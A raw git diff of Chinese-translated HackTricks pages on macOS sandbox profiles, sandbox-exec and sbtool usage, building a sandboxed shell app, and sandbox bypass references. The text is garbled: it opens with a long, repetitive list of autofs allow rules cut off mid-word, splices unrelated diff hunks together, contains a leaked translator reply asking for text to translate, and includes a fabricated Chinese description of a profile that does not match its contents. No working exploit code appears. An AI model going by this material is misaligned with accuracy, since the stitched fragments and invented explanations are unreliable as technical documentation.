(allow file-write-data (literal "/dev/autofs_notrigger_nobrowse_nobrowse_nobrowse_nobrowse"))
|
||||
(allow file-read-data (literal "/dev/autofs_nowait_browse_browse_browse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_nowait_browse_browse_browse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_notrigger_browse_browse_browse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_notrigger_browse_browse_browse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_nowait_nobrowse_browse_browse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_nowait_nobrowse_browse_browse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_notrigger_nobrowse_browse_browse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_notrigger_nobrowse_browse_browse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_nowait_browse_nobrowse_browse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_nowait_browse_nobrowse_browse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_notrigger_browse_nobrowse_browse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_notrigger_browse_nobrowse_browse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_nowait_nobrowse_nobrowse_browse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_nowait_nobrowse_nobrowse_browse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_notrigger_nobrowse_nobrowse_browse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_notrigger_nobrowse_nobrowse_browse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_nowait_browse_browse_nobrowse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_nowait_browse_browse_nobrowse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_notrigger_browse_browse_nobrowse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_notrigger_browse_browse_nobrowse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_nowait_nobrowse_browse_nobrowse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_nowait_nobrowse_browse_nobrowse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_notrigger_browse_nobrowse_browse_nobrowse"))
|
||||
(allow file-write-data (literal "/dev/autofs_notrigger_browse_nobrowse_browse_nobrowse"))
|
||||
(allow file-read-data (literal "/dev/autofs_nowait_nobrowse_browse_nobrowse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_nowait_nobrowse_browse_nobrowse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_notrigger_browse_nobrowse_browse_nobrowse"))
|
||||
(allow file-write-data (literal "/dev/autofs_notrigger_browse_nobrowse_browse_nobrowse"))
|
||||
(allow file-read-data (literal "/dev/autofs_nowait_nobrowse_nobrowse_browse_browse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_nowait_nobrowse_nobrowse_browse_browse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_notrigger_nobrowse_nobrowse_browse_browse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_notrigger_nobrowse_nobrowse_browse_browse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_nowait_browse_browse_browse_browse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_nowait_browse_browse_browse_browse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_notrigger_browse_browse_browse_browse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_notrigger_browse_browse_browse_browse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_nowait_nobrowse_browse_browse_browse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_nowait_nobrowse_browse_browse_browse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_notrigger_nobrowse_browse_browse_browse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_notrigger_nobrowse_browse_browse_browse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_nowait_browse_browse_nobrowse_browse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_nowait_browse_browse_nobrowse_browse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_notrigger_browse_browse_nobrowse_browse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_notrigger_browse_browse_nobrowse_browse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_nowait_nobrowse_browse_nobrowse_browse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_nowait_nobrowse_browse_nobrowse_browse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_notrigger_browse_nobrowse_browse_nobrowse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_notrigger_browse_nobrowse_browse_nobrowse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_nowait_nobrowse_browse_nobrowse_browse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_nowait_nobrowse_browse_nobrowse_browse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_notrigger_browse_nobrowse_browse_nobrowse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_notrigger_browse_nobrowse_browse_nobrowse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_nowait_nobrowse_nobrowse_browse_browse_browse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_nowait_nobrowse_nobrowse_browse_browse_browse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_notrigger_nobrowse_nobrowse_browse_browse_browse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_notrigger_nobrowse_nobrowse_browse_browse_browse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_nowait_browse_browse_browse_browse_browse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_nowait_browse_browse_browse_browse_browse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_notrigger_browse_browse_browse_browse_browse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_notrigger_browse_browse_browse_browse_browse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_nowait_nobrowse_browse_browse_browse_browse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_nowait_nobrowse_browse_browse_browse_browse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_notrigger_nobrowse_browse_browse_browse_browse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_notrigger_nobrowse_browse_browse_browse_browse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_nowait_browse_browse_nobrowse_browse_browse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_nowait_browse_browse_nobrowse_browse_browse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_notrigger_browse_browse_nobrowse_browse_browse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_notrigger_browse_browse_nobrowse_browse_browse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_nowait_nobrowse_browse_nobrowse_browse_browse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_nowait_nobrowse_browse_nobrowse_browse_browse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_notrigger_browse_nobrowse_browse_nobrowse_browse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_notrigger_browse_nobrowse_browse_nobrowse_browse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_nowait_nobrowse_browse_nobrowse_browse_browse_browse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_nowait_nobrowse_browse_nobrowse_browse_browse_browse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_notrigger_nobrowse_browse_nobrowse_browse_browse_browse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_notrigger_nobrowse_browse_nobrowse_browse_browse_browse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_nowait_browse_browse_browse_browse_nobrowse"))
|
||||
(allow file-write-data (literal "/dev/autofs_nowait_browse_browse_browse_browse_nobrowse"))
|
||||
(allow file-read-data (literal "/dev/autofs_notrigger_browse_browse_browse_browse_nobrowse"))
|
||||
(allow file-write-data (literal "/dev/autofs_not
|
||||
```scheme
|
||||
(version 1)
|
||||
(deny default)
|
||||
(allow file* (literal "/tmp/hacktricks.txt"))
|
||||
```
|
||||
{% endcode %}
|
||||
Since there is no content provided between the `{% endcode %}` tags, there is nothing to translate. Please provide the relevant English text that you would like to have translated into Chinese.
|
||||
```bash
|
||||
# This will fail because default is denied, so it cannot execute touch
|
||||
sandbox-exec -f touch.sb touch /tmp/hacktricks.txt
|
||||
|
@ -357,16 +181,6 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
|
|||
[...]
|
||||
```
|
||||
{% code title="touch2.sb" %}
|
||||
|
||||
这是一个示例的 macOS 沙盒配置文件,用于限制应用程序的权限和访问。沙盒是一种安全机制,用于隔离应用程序并限制其对系统资源的访问。通过使用沙盒,可以减少应用程序对系统的潜在威胁,并提高系统的安全性。
|
||||
|
||||
在这个示例中,我们定义了一个名为 "touch2" 的应用程序,并为其配置了一些权限和限制。首先,我们指定了应用程序的主目录,以及它可以访问的其他目录。然后,我们限制了应用程序对网络的访问,并禁止它执行任何系统命令。最后,我们还限制了应用程序对用户数据的访问,以确保用户的隐私和安全。
|
||||
|
||||
要使用这个沙盒配置文件,您需要将其保存为名为 "touch2.sb" 的文件,并将其与应用程序一起打包。然后,当应用程序运行时,它将受到这些配置的限制和保护。
|
||||
|
||||
请注意,沙盒只是一种安全机制,不能完全防止所有攻击。因此,在开发和部署应用程序时,还应采取其他安全措施,如代码审查、漏洞扫描和安全测试,以确保应用程序的安全性。
|
||||
|
||||
{% endcode %}
|
||||
```scheme
|
||||
(version 1)
|
||||
(deny default)
|
||||
|
@ -380,6 +194,8 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
|
|||
; 2023-05-26 13:44:59.840050+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) sysctl-read kern.bootargs
|
||||
; 2023-05-26 13:44:59.840061+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) file-read-data /
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% code title="touch3.sb" %}
|
||||
```scheme
|
||||
(version 1)
|
||||
|
@ -394,50 +210,50 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
|
|||
{% endtabs %}
|
||||
|
||||
{% hint style="info" %}
|
||||
请注意,运行在**Windows**上的**由Apple编写的软件**没有额外的安全预防措施,比如应用程序沙箱。
|
||||
请注意,运行在 **Windows** 上的 **Apple** **软件** **没有额外的安全预防措施**,例如应用程序沙盒化。
|
||||
{% endhint %}
|
||||
|
||||
绕过示例:
|
||||
|
||||
* [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html)
|
||||
* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c)(他们能够在沙箱之外写入以`~$`开头的文件)。
|
||||
* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (它们能够写入沙盒外部,文件名以 `~$` 开头的文件)。
|
||||
|
||||
### MacOS沙箱配置文件
|
||||
### MacOS 沙盒配置文件
|
||||
|
||||
macOS将系统沙箱配置文件存储在两个位置:**/usr/share/sandbox/** 和 **/System/Library/Sandbox/Profiles**。
|
||||
macOS 在两个位置存储系统沙盒配置文件:**/usr/share/sandbox/** 和 **/System/Library/Sandbox/Profiles**。
|
||||
|
||||
如果第三方应用程序具有 _**com.apple.security.app-sandbox**_ 权限,系统将应用 **/System/Library/Sandbox/Profiles/application.sb** 配置文件到该进程。
|
||||
如果第三方应用程序携带 **com.apple.security.app-sandbox** 权限,系统会将 **/System/Library/Sandbox/Profiles/application.sb** 配置文件应用到该进程。
|
||||
|
||||
### **iOS沙箱配置文件**
|
||||
### **iOS 沙盒配置文件**
|
||||
|
||||
默认配置文件称为**container**,我们没有SBPL文本表示。在内存中,此沙箱被表示为每个权限的允许/拒绝二叉树。
|
||||
默认配置文件称为 **container**,我们没有 SBPL 文本表示形式。在内存中,这个沙盒以允许/拒绝二叉树的形式表示每个来自沙盒的权限。
|
||||
|
||||
### 调试和绕过沙箱
|
||||
### 调试与绕过沙盒
|
||||
|
||||
**在macOS上,进程不会自动启用沙箱:与iOS不同**,在iOS上,沙箱在程序的第一条指令执行之前由内核应用,而在macOS上,**进程必须选择将自己置于沙箱中**。
|
||||
**macOS 上的进程不是天生就在沙盒中的:与 iOS 不同**,在 iOS 上沙盒是在程序执行的第一条指令之前由内核应用的,而在 macOS 上,**进程必须选择将自己置于沙盒中。**
|
||||
|
||||
如果具有权限`com.apple.security.app-sandbox`,进程在启动时会自动从用户空间进入沙箱。有关此过程的详细说明,请参阅:
|
||||
如果进程拥有权限:`com.apple.security.app-sandbox`,它们会在用户空间自动沙盒化。关于这个过程的详细解释,请查看:
|
||||
|
||||
{% content-ref url="macos-sandbox-debug-and-bypass/" %}
|
||||
[macos-sandbox-debug-and-bypass](macos-sandbox-debug-and-bypass/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **检查PID权限**
|
||||
### **检查 PID 权限**
|
||||
|
||||
[根据此](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s),**`sandbox_check`**(它是一个`__mac_syscall`)可以检查特定PID中沙箱是否允许执行某个操作。
|
||||
[**根据这个**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s),**`sandbox_check`**(它是一个 `__mac_syscall`),可以检查沙盒在某个 PID 中是否允许或不允许某项操作。
|
||||
|
||||
[**工具sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c)可以检查PID是否可以执行某个操作:
|
||||
[**工具 sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) 可以检查 PID 是否可以执行某个操作:
|
||||
```bash
|
||||
sbtool <pid> mach #Check mac-ports (got from launchd with an api)
|
||||
sbtool <pid> file /tmp #Check file access
|
||||
sbtool <pid> inspect #Gives you an explaination of the sandbox profile
|
||||
sbtool <pid> all
|
||||
```
|
||||
### 在App Store应用中使用自定义SBPL
|
||||
### App Store 应用中的自定义 SBPL
|
||||
|
||||
公司有可能使他们的应用程序运行在**自定义沙盒配置文件**下(而不是默认配置文件)。他们需要使用授权过的 entitlement **`com.apple.security.temporary-exception.sbpl`**。
|
||||
公司可能会让他们的应用程序**使用自定义沙箱配置文件**(而不是默认配置文件)运行。他们需要使用 **`com.apple.security.temporary-exception.sbpl`** 权限,这需要得到苹果的授权。
|
||||
|
||||
可以在**`/System/Library/Sandbox/Profiles/application.sb:`**中检查此 entitlement 的定义。
|
||||
可以在 **`/System/Library/Sandbox/Profiles/application.sb:`** 中检查此权限的定义。
|
||||
```scheme
|
||||
(sandbox-array-entitlement
|
||||
"com.apple.security.temporary-exception.sbpl"
|
||||
|
@ -445,16 +261,18 @@ sbtool <pid> all
|
|||
(let* ((port (open-input-string string)) (sbpl (read port)))
|
||||
(with-transparent-redirection (eval sbpl)))))
|
||||
```
|
||||
这将**评估此权限之后的字符串**作为沙盒配置文件。
|
||||
这将**在此权限之后评估字符串**作为沙盒配置文件。
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,18 +1,20 @@
|
|||
# macOS默认沙盒调试
|
||||
# macOS 默认沙盒调试
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术直至成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您希望在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF 版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
在这个页面中,你可以找到如何创建一个应用程序,在默认的macOS沙盒中启动任意命令:
|
||||
在这个页面上,您可以找到如何创建一个应用程序,以便在默认的 macOS 沙盒内启动任意命令:
|
||||
|
||||
1. 编译应用程序:
|
||||
|
||||
|
@ -48,7 +50,7 @@ return 0;
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
编译运行:`clang -framework Foundation -o SandboxedShellApp main.m`
|
||||
编译它,运行:`clang -framework Foundation -o SandboxedShellApp main.m`
|
||||
|
||||
2. 构建 `.app` 包
|
||||
```bash
|
||||
|
@ -72,10 +74,10 @@ cat << EOF > SandboxedShellApp.app/Contents/Info.plist
|
|||
</plist>
|
||||
EOF
|
||||
```
|
||||
3. 定义授权
|
||||
3. 定义权限
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="沙盒" %}
|
||||
{% tab title="sandbox" %}
|
||||
```bash
|
||||
cat << EOF > entitlements.plist
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
@ -88,6 +90,8 @@ cat << EOF > entitlements.plist
|
|||
</plist>
|
||||
EOF
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="沙盒 + 下载" %}
|
||||
```bash
|
||||
cat << EOF > entitlements.plist
|
||||
|
@ -106,7 +110,7 @@ EOF
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
4. 对应用程序进行签名(您需要在钥匙串中创建证书)
|
||||
4. 对应用程序进行签名(您需要在钥匙串中创建一个证书)
|
||||
```bash
|
||||
codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.app
|
||||
./SandboxedShellApp.app/Contents/MacOS/SandboxedShellApp
|
||||
|
@ -116,12 +120,14 @@ codesign --remove-signature SandboxedShellApp.app
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客攻击直至成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取最新版本的PEASS或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在 **HackTricks中看到您的公司广告** 或 **下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,91 +1,94 @@
|
|||
# macOS沙盒调试与绕过
|
||||
# macOS Sandbox 调试与绕过
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## 沙盒加载过程
|
||||
## Sandbox 加载过程
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (2) (1) (2).png" alt=""><figcaption><p>图片来源:<a href="http://newosxbook.com/files/HITSB.pdf">http://newosxbook.com/files/HITSB.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (2) (1) (2).png" alt=""><figcaption><p>图片来源 <a href="http://newosxbook.com/files/HITSB.pdf">http://newosxbook.com/files/HITSB.pdf</a></p></figcaption></figure>
|
||||
|
||||
在上图中,可以看到当运行具有权限**`com.apple.security.app-sandbox`**的应用程序时,**沙盒将如何加载**。
|
||||
在上图中,可以观察到当运行具有权限 **`com.apple.security.app-sandbox`** 的应用程序时,**如何加载沙盒**。
|
||||
|
||||
编译器将`/usr/lib/libSystem.B.dylib`链接到二进制文件。
|
||||
编译器将链接 `/usr/lib/libSystem.B.dylib` 到二进制文件。
|
||||
|
||||
然后,**`libSystem.B`**将调用其他几个函数,直到**`xpc_pipe_routine`**将应用程序的权限发送给**`securityd`**。Securityd检查进程是否应该被隔离在沙盒中,如果是,则将被隔离。
|
||||
最后,通过调用**`__sandbox_ms`**激活沙盒,该函数将调用**`__mac_syscall`**。
|
||||
然后,**`libSystem.B`** 将调用其他几个函数,直到 **`xpc_pipe_routine`** 将应用程序的权限发送到 **`securityd`**。Securityd 检查进程是否应该被隔离在沙盒中,如果是,它将被隔离。\
|
||||
最后,通过调用 **`__sandbox_ms`** 激活沙盒,该调用将调用 **`__mac_syscall`**。
|
||||
|
||||
## 可能的绕过方法
|
||||
|
||||
### 绕过隔离属性
|
||||
|
||||
